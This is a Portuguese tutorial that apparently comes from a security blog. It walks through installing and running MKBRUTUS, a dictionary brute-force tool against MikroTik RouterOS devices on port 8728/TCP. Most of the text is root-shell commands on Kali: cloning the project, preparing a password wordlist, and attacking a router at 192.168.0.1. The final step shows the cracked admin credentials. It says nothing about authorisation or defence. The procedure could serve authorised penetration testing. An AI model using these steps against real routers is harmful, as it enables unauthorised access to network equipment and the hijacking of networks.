MKBRUTUS – Brute Force para MikroTik e

dispositivos com RouterOS

Salvar
5
Partilhar

O MKBRUTUS é uma ferramenta desenvolvida em Python 3 que realiza ataques de força bruta em
sistemas (baseados em dicionário) contra RouterOS (ver. 3.x ou superior), que têm a
porta 8728/TCP aberto.

Desenvolvedores:

Ramiro Caire | ramiro.caire@gmail.com | Twitter: @rcaire

Federico Massa | fgmassa@vanguardsec.com | Twitter: @fgmassa

Projeto: github.com/mkbrutusproject/mkbrutus

01 Passo

Verifique a versão atual do python em seguida realiza a instalação da versão 3

root@kali:~# python –version (Exibe a versão do Python)

root@kali:~# apt-get install python3 (Realiza a instalação do Python 3)

02 Passo
Execute o comando de verificação da versão do Python novamente e observe que a versão não mudou
mas a instalação da versão 3 foi realizada com sucesso.

root@kali:~# python –version (Exibe a versão do Python)

03 Passo

Realize o download do projeto mkbrutus

root@kali:~# git clone https://github.com/mkbrutusproject/mkbrutus

04 Passo

Altere as permissões do diretório mkbrutus e liste o conteúdo do diretório.

root@kali:~# chmod -R 755 mkbrutus/

root@kali:~# cd mkbrutus/

root@kali:~/mkbrutus# ls -l
05 Passo

Altere as permissões do diretório mkbrutus e liste o conteúdo do diretório.

root@kali:~/mkbrutus# python3 mkbrutus.py -h

-h : Help (Ajuda)
06 Passo

São apresentadas todas as opções que a ferramenta mkbrutus disponibiliza.

07 Passo

Crie um arquivo de senhas ou realize o download de uma lista nos sites:

Lista: wiki.skullsecurity.org/Passwords
Lista: wordlist.sourceforge.net

root@kali:~/mkbrutus# vim senhas.txt

Conteúdo do arquivo senhas.txt
08 Passo

Realize o ataque no equipamento utilizando os seguintes parâmetros.

root@kali:~/mkbrutus# python3 mkbrutus.py -t 192.168.0.1 -d senhas.txt

mkbrutus.py : Ferramenta de Brute Force

192.168.0.1 : IP do Roteador MikroTik

senhas.txt : Arquivo de Senhas(Wordlist)

O ataque é realizado com sucesso e o usuário e a senha são revelados:

Usuário: admin
Senha: P@ssw0rd
Salvar
Partilhar